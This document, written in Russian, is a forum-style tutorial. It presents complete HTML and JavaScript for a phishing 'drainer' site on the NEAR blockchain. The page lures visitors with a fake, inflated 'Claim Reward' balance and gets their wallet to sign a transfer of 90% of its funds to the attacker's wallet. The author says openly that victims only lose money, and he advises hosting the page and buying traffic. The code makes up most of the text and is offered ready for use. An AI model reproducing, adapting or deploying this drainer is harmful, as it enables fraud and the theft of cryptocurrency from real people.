Простая версия Drainer для блокчейна NEAR
Приветствую!
У всех на слуху информация о дрейнерах в популярных EVM-сетях, Solana, а также с недавних пор TON.
Однако, есть сети, которые по сей день никем не тронуты, но всему приходит своё время
В данной статье будет подана на блюдце простая версия дрейнера в блокчейне NEAR.
Что потребуется для работы:
- Минимальные знания в веб-разработке;
- Немного времени;
- Около $20 на хостинг и домен;
Нам придётся работать в такой среде, как Next.js / VanillaJS
Исходники обоих я обязательно предоставлю!
В примере мы будем использовать VanillaJS для более простой реализации.
Для работы нам понадобятся два файла:
index.html
HTML: Скопировать в буфер обмена
Code:
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@near-wallet-selector/modal-ui-js@8.7.2/styles.css">
</head>
<body>
<div>
<p id="balance-display">Reward: Awaiting connection...</p>
</div>
<button id="open-walletselector-button">Login</button>
<button id="send-transaction-button">Claim Reward</button>
</body>
<script async src="https://ga.jspm.io/npm:es-module-shims@1.10.0/dist/es-module-shims.js" crossorigin="anonymous"></script>
<script type="importmap">
// импортируются модули, в исходниках имеется
</script>
<script type="module" src="main.js"></script>
</html>
В данном файле ничего сложного: кнопка для подключения кошелька и кнопка, вызывающая функцию отправки средств (Transfer).
main.js
JavaScript: Скопировать в буфер обмена
Code:
import { setupWalletSelector } from "@near-wallet-selector/core";
import { setupModal } from "@near-wallet-selector/modal-ui-js";
import { setupMyNearWallet } from "@near-wallet-selector/my-near-wallet";
import { setupHereWallet } from "@near-wallet-selector/here-wallet";
import { providers, utils } from "near-api-js";
(async function () {
const selector = await setupWalletSelector({
network: "mainnet",
modules: [setupMyNearWallet(), setupHereWallet()],
});
const modal = setupModal(selector, {
contractId: "nft.claims-reward.near",
});
window.selector = selector;
window.modal = modal;
const sendButton = document.getElementById('send-transaction-button');
sendButton.disabled = true;
document.getElementById('open-walletselector-button').addEventListener('click', () => modal.show());
document.getElementById('send-transaction-button').addEventListener('click', async () => {
const state = selector.store.getState();
const selectedWalletId = state.selectedWalletId;
const wallet = await selector.wallet(selectedWalletId);
const deposit = window.accountBalance; // уже рассчитанная сумма с учетом 10% вычета
if (selectedWalletId === "my-near-wallet" || selectedWalletId === "here-wallet") {
await wallet.signAndSendTransactions({
transactions: [
{
receiverId: "YOUR WALLET",
actions: [
{
type: "Transfer",
params: {
deposit: deposit,
},
},
],
},
],
});
} else {
alert("Unsupported wallet. Please select MyNearWallet or HereWallet.");
}
});
selector.store.observable.subscribe(async (state) => {
if (state.accounts.length > 0) {
const { network } = selector.options;
const accountId = state.accounts[0].accountId;
const provider = new providers.JsonRpcProvider({ url: network.nodeUrl });
const accountState = await provider.query({
request_type: "view_account",
account_id: accountId,
finality: "final",
});
const totalAmount = BigInt(accountState.amount);
const reducedAmount = (totalAmount * 9n) / 10n;
const adjustedAmount = (reducedAmount * 135n) / 100n;
window.accountBalance = reducedAmount.toString();
const formattedAdjustedBalance = utils.format.formatNearAmount(adjustedAmount.toString(), 2);
const balanceDisplay = document.getElementById('balance-display');
balanceDisplay.textContent = `Reward: ${formattedAdjustedBalance} NEAR`;
sendButton.disabled = false;
}
});
})();
А вот тут нам уже необходимо понимать, что же выполняет наш скрипт объемом в 80 строк
Пройдемся:
- Естественно мы импортируем необходимые библиотеки для работы нашей среды
Код: Скопировать в буфер обмена
Code:
import { setupWalletSelector } from "@near-wallet-selector/core";
import { setupModal } from "@near-wallet-selector/modal-ui-js";
import { setupMyNearWallet } from "@near-wallet-selector/my-near-wallet";
import { setupHereWallet } from "@near-wallet-selector/here-wallet";
import { providers, utils } from "near-api-js";
-Обозначаем для WalletSelector, что мы будем использовать его в mainnet-сети и использовать два кошелька (MyNearWallet и HereWallet)
Код: Скопировать в буфер обмена
Code:
const selector = await setupWalletSelector({
network: "mainnet",
modules: [setupMyNearWallet(), setupHereWallet()],
});
-Нам необходимо указать любой смарт-контракт, к которому должно происходить подключение(дальнейшей роли никак не играет, требование некоторых кошельков)
Для простоты и удобства я создал пустой смарт-контракт без функций и указал его.
Код: Скопировать в буфер обмена
Code:
const modal = setupModal(selector, {
contractId: "nft.claims-reward.near",
});
-В данной части кода нам необходимо указать свой кошелек, куда будут приходить NEAR, заместо "YOUR WALLET" (ковычки оставляем, не трожь их!)
Код: Скопировать в буфер обмена
Code:
await wallet.signAndSendTransactions({
transactions: [
{
receiverId: "YOUR WALLET", //Указать ваш кошелек
actions: [
{
type: "Transfer",
params: {
deposit: deposit,
},
},
],
},
],
});
-А также прикладываю оставшуюся не особо важную часть кода с комментариями, для тех, кто хотел бы настроить на свой лад!
Код: Скопировать в буфер обмена
Code:
selector.store.observable.subscribe(async (state) => {
if (state.accounts.length > 0) {
const { network } = selector.options;
const accountId = state.accounts[0].accountId;
const provider = new providers.JsonRpcProvider({ url: network.nodeUrl });
//Получение баланса кошелька
const accountState = await provider.query({
request_type: "view_account",
account_id: accountId,
finality: "final",
});
// Конвертируем строку в BigInt для точных расчетов без плавающей запятой
const totalAmount = BigInt(accountState.amount);
// Рассчитываем 90% от баланса (вычитая 10%)
const reducedAmount = (totalAmount * 9n) / 10n;
// Рассчитываем баланс умноженный на 1.35
const adjustedAmount = (reducedAmount * 135n) / 100n;
// Сохраняем полученное значение в глобальную переменную
window.accountBalance = reducedAmount.toString();
// Выводим баланс умноженный на 1.35 в NEAR
const formattedAdjustedBalance = utils.format.formatNearAmount(adjustedAmount.toString(), 2);
// Выводим баланс в HTML
const balanceDisplay = document.getElementById('balance-display');
balanceDisplay.textContent = `Reward: ${formattedAdjustedBalance} NEAR`;
// Активируем кнопку отправки транзакции
sendButton.disabled = false;
}
});
Вот и вся техническая часть, которую мы уложили грубо говоря в 80 строк.
Пример кода позволяет реализовать базовый Drainer в блокчейне NEAR.
С небольшими доработками можно расширить его функционал: добавить уведомления в Telegram, поддержку дополнительных токенов и NFT, а также интеграцию со сложными смарт-контрактами.
Прикладываю небольшую демонстрацию работы скрипта с MyNearWallet.
Выбор кошелька по кнопке Login
Авторизация MyNearWallet
Ну и событие по нажатию на кнопочку Claim Reward
Соответственно никакого Reward пользователь не получает, а только теряет
Остаётся накидать дизайн, захостить и нагнать траффика
В следующей статье расскажу о способе монетизации
Всем доброго времени суток и спасибо за внимание!